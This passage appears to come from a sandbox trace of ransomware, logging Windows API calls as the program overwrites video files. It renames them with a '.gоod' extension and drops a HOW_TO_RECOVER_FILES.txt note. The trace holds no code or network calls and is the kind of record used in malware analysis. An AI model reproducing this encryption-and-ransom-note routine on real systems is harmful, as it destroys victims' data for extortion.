lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.373] GetFileType (hFile=0x61c) returned 0x1 [0163.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.373] GetFileType (hFile=0x61c) returned 0x1 [0163.373] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0xc9af [0163.373] WriteFile (in: hFile=0x61c, lpBuffer=0x33b8ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x33b8ec8*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0163.374] CloseHandle (hObject=0x61c) returned 1 [0163.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.374] GetFileType (hFile=0x61c) returned 0x1 [0163.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.374] GetFileType (hFile=0x61c) returned 0x1 [0163.374] ReadFile (in: hFile=0x61c, lpBuffer=0x33bb190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x33bb190*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0163.512] CloseHandle (hObject=0x61c) returned 1 [0163.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.513] GetFileType (hFile=0x61c) returned 0x1 [0163.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.513] GetFileType (hFile=0x61c) returned 0x1 [0163.513] WriteFile (in: hFile=0x61c, lpBuffer=0x3306e30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3306e30*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0163.513] CloseHandle (hObject=0x61c) returned 1 [0163.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4", lpFilePart=0x0) returned 0x41 [0163.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4.gоod", lpFilePart=0x0) returned 0x46 [0163.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0163.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a7fcd0, ftCreationTime.dwHighDateTime=0x1d4d36e, ftLastAccessTime.dwLowDateTime=0xd30029d0, ftLastAccessTime.dwHighDateTime=0x1d4c910, ftLastWriteTime.dwLowDateTime=0x5dace1ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc9bf)) returned 1 [0163.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0163.513] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\t-yOLdELsJrKUaV63im.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\t-yoldelsjrkuav63im.mp4.gоod")) returned 1 [0163.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0163.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), fInfoLevelId=0x0, lpFileInformation=0x3394090 | out: lpFileInformation=0x3394090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28317150, ftCreationTime.dwHighDateTime=0x1d4d1e2, ftLastAccessTime.dwLowDateTime=0xf61edd90, ftLastAccessTime.dwHighDateTime=0x1d4cfc2, ftLastWriteTime.dwLowDateTime=0xf61edd90, ftLastWriteTime.dwHighDateTime=0x1d4cfc2, nFileSizeHigh=0x0, nFileSizeLow=0x12408)) returned 1 [0163.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0163.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.549] GetFileType (hFile=0x61c) returned 0x1 [0163.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.549] GetFileType (hFile=0x61c) returned 0x1 [0163.549] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0163.549] ReadFile (in: hFile=0x61c, lpBuffer=0x3414190, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3414190*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0163.549] CloseHandle (hObject=0x61c) returned 1 [0163.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.550] GetFileType (hFile=0x61c) returned 0x1 [0163.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.550] GetFileType (hFile=0x61c) returned 0x1 [0163.550] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x12408 [0163.550] WriteFile (in: hFile=0x61c, lpBuffer=0x3415430*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3415430*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0163.550] CloseHandle (hObject=0x61c) returned 1 [0163.550] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.550] GetFileType (hFile=0x61c) returned 0x1 [0163.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.550] GetFileType (hFile=0x61c) returned 0x1 [0163.550] ReadFile (in: hFile=0x61c, lpBuffer=0x34176f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x34176f8*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0163.806] CloseHandle (hObject=0x61c) returned 1 [0163.806] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0163.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0163.806] GetFileType (hFile=0x61c) returned 0x1 [0163.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0163.806] GetFileType (hFile=0x61c) returned 0x1 [0163.806] WriteFile (in: hFile=0x61c, lpBuffer=0x330b8e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x330b8e0*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0163.807] CloseHandle (hObject=0x61c) returned 1 [0163.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv", lpFilePart=0x0) returned 0x41 [0163.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv.gоod", lpFilePart=0x0) returned 0x46 [0163.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0163.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28317150, ftCreationTime.dwHighDateTime=0x1d4d1e2, ftLastAccessTime.dwLowDateTime=0xf61edd90, ftLastAccessTime.dwHighDateTime=0x1d4cfc2, ftLastWriteTime.dwLowDateTime=0x5dda5853, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12418)) returned 1 [0163.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0163.807] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\waiIUo9b3_2lMWd1rX8.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\waiiuo9b3_2lmwd1rx8.mkv.gоod")) returned 1 [0163.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0163.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0163.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\H8ipldOURiZhDuV53d\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\h8ipldourizhduv53d\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x61c [0163.808] GetFileType (hFile=0x61c) returned 0x1 [0163.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0163.808] GetFileType (hFile=0x61c) returned 0x1 [0163.809] WriteFile (in: hFile=0x61c, lpBuffer=0x34201f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x34201f8*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0163.809] CloseHandle (hObject=0x61c) returned 1 [0163.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0163.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be", lpFilePart=0x0) returned 0x22 [0163.810] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0163.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85379b30, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xf4052710, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0xf4052710, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ac46b00, ftCreationTime.dwHighDateTime=0x1d4d0ed, ftLastAccessTime.dwLowDateTime=0x97d0b40, ftLastAccessTime.dwHighDateTime=0x1d4c86c, ftLastWriteTime.dwLowDateTime=0x97d0b40, ftLastWriteTime.dwHighDateTime=0x1d4c86c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4hoxeQoMpAG", cAlternateFileName="4HOXEQ~1")) returned 1 [0163.810] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71fb930, ftCreationTime.dwHighDateTime=0x1d4c6a3, ftLastAccessTime.dwLowDateTime=0xd054aa10, ftLastAccessTime.dwHighDateTime=0x1d4c9da, ftLastWriteTime.dwLowDateTime=0xd054aa10, ftLastWriteTime.dwHighDateTime=0x1d4c9da, nFileSizeHigh=0x0, nFileSizeLow=0xebc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Sg510vT.flv", cAlternateFileName="")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0770a0, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0xbe859e70, ftLastAccessTime.dwHighDateTime=0x1d4c5d9, ftLastWriteTime.dwLowDateTime=0xbe859e70, ftLastWriteTime.dwHighDateTime=0x1d4c5d9, nFileSizeHigh=0x0, nFileSizeLow=0xd42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d 1_UCv2zkR.mp4", cAlternateFileName="D1_UCV~1.MP4")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfdb4c50, ftCreationTime.dwHighDateTime=0x1d4cb43, ftLastAccessTime.dwLowDateTime=0x7413fa50, ftLastAccessTime.dwHighDateTime=0x1d4cc85, ftLastWriteTime.dwLowDateTime=0x7413fa50, ftLastWriteTime.dwHighDateTime=0x1d4cc85, nFileSizeHigh=0x0, nFileSizeLow=0x11f71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwdSnU_w y.avi", cAlternateFileName="MWDSNU~1.AVI")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be6650, ftCreationTime.dwHighDateTime=0x1d4d22e, ftLastAccessTime.dwLowDateTime=0x7e97b4e0, ftLastAccessTime.dwHighDateTime=0x1d4c874, ftLastWriteTime.dwLowDateTime=0x7e97b4e0, ftLastWriteTime.dwHighDateTime=0x1d4c874, nFileSizeHigh=0x0, nFileSizeLow=0x7b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxjdThwDv2nqDbJee0.swf", cAlternateFileName="MXJDTH~1.SWF")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89300af0, ftCreationTime.dwHighDateTime=0x1d4c5fa, ftLastAccessTime.dwLowDateTime=0x6d2e01b0, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x6d2e01b0, ftLastWriteTime.dwHighDateTime=0x1d4d11f, nFileSizeHigh=0x0, nFileSizeLow=0x138da, dwReserved0=0x0, dwReserved1=0x0, cFileName="O9_KScJ.mkv", cAlternateFileName="")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDnrnw9vhNCZQ73n", cAlternateFileName="PDNRNW~1")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6962a0, ftCreationTime.dwHighDateTime=0x1d4d553, ftLastAccessTime.dwLowDateTime=0x36869fc0, ftLastAccessTime.dwHighDateTime=0x1d4cce0, ftLastWriteTime.dwLowDateTime=0x36869fc0, ftLastWriteTime.dwHighDateTime=0x1d4cce0, nFileSizeHigh=0x0, nFileSizeLow=0x55ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="R3W8zRKZX 805xAX1a.avi", cAlternateFileName="R3W8ZR~1.AVI")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13820f60, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0xdb410670, ftLastAccessTime.dwHighDateTime=0x1d4c977, ftLastWriteTime.dwLowDateTime=0xdb410670, ftLastWriteTime.dwHighDateTime=0x1d4c977, nFileSizeHigh=0x0, nFileSizeLow=0x151fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScQNTRYIbmB.flv", cAlternateFileName="SCQNTR~1.FLV")) returned 1 [0163.811] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853aa2a0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x50ff9190, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x50ff9190, ftLastWriteTime.dwHighDateTime=0x1d4c9ca, nFileSizeHigh=0x0, nFileSizeLow=0x17b81, dwReserved0=0x0, dwReserved1=0x0, cFileName="sQ836 S lnpHgRZk.avi", cAlternateFileName="SQ836S~1.AVI")) returned 1 [0163.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84157860, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0xd9f146a0, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0xd9f146a0, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="T5GZUY.avi", cAlternateFileName="")) returned 1 [0163.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b40a0, ftCreationTime.dwHighDateTime=0x1d4d340, ftLastAccessTime.dwLowDateTime=0x80b231f0, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x80b231f0, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x16e81, dwReserved0=0x0, dwReserved1=0x0, cFileName="xoNDdnkZNe_yaYM4d.avi", cAlternateFileName="XONDDN~1.AVI")) returned 1 [0163.812] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.812] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0163.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0163.812] SetThreadErrorMode (dwNewMode=0x0, 